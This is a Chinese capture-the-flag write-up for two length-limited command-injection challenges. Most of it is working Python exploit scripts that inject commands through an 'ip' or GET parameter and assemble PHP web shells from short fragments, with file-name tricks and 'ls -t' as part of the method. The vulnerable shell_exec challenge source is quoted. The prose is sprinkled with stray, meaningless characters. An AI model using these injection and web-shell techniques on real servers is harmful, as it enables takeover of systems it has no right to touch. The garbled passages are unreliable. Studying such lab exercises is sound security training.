自有平臺(tái)的命令執(zhí)行基礎(chǔ)練習(xí)題wp
exec2:13位可控
先試著提交幾個(gè)。
# ip=127.0.0.1%0als /
flag_sGtVHR6EH6fZVewGaUdCDNIs7P3DXZg9
# ip=0.0.0.0%0a12345678901234
22ip 長(zhǎng)度錯(cuò)誤!
那么就開(kāi)始在13個(gè)可控下寫(xiě)shell,echo -n {}<>>1稠炬,準(zhǔn)確的說(shuō)只有1個(gè)字符可以控制焕阿。寫(xiě)入后在根目錄找到flag。
import requests
url = "http://10.154.7.128:28657/exec.php"
payload = "echo '<?php @eval($_POST[1]);?>' > 1.php " #后面的空格一定要有首启,沒(méi)有就不行暮屡。。毅桃。我也不知道為什么褒纲。。
for i in payload:
data = {"ip":"0.0.0.0\necho -n \\{}>>1".format(i)} #python里%0a會(huì)被url編碼钥飞,可以用\n莺掠,會(huì)自動(dòng)轉(zhuǎn)成%0a。轉(zhuǎn)義符不能少读宙。
res = requests.post(url,data=data)
print(data,res.text)
print ("[*] bash shell upload successful!")
#檢查一下
data={"ip":"0.0.0.0;cat 1"}
res=requests.post(url,data=data)
print(res.text)
data={"ip":"0.0.0.0;bash 1"}
res=requests.post(url,data=data)
shell="http://10.154.7.128:28657/1.php"
res=requests.get(shell)
if res.status_code == 200:
print ("[*] get shell successful")
exec3:7位可控
題目源碼
<?php
if(isset($_GET[1])){
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
}
else{
show_source(__FILE__);
}
?>
不夠長(zhǎng)度寫(xiě)內(nèi)容彻秆,只能寫(xiě)文件名然后ls -t倒序排序。
連接文件名的時(shí)候注意給末尾留個(gè)\的位置
import requests,base64
PORT = 28014
url = "http://10.154.7.128:{}/exec.php?1={}"
payload = str(base64.b64encode(b'<?php eval($_GET[2]);'))[2:-1]
payload = "echo {}|base64 -d>12.php".format(payload) #因?yàn)橛?.php剛好會(huì)斷在.開(kāi)頭结闸,變成隱藏文件……所以用12.php
payload = payload+' '*(3-len(payload)%3) if len(payload)%3 else payload
print(payload)
print("[+]start attack!!!")
for i in range(len(payload),0,-3):
shell = payload[i-3:i].replace(' ','\\ ').replace('|','\\|').replace('>','\\>')
shell = '>'+shell+'\\' if i!=len(payload) else '>'+shell #直接ls會(huì)有換行符唇兑。每一句末尾加個(gè)\表示未結(jié)束,換行繼續(xù)寫(xiě)桦锄。
requests.get(url.format(PORT,shell))
print("[*]" + url.format(PORT,shell))
res = requests.get(url.format(PORT,'ls -t>0'))
#res = requests.get(url.format(PORT,'cat 0'))
#print("[*]" + res.text)
requests.get(url.format(PORT,'sh 0'))
try:
test = requests.get("http://10.154.7.128:{}/12.php".format(PORT))
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")
except:
pass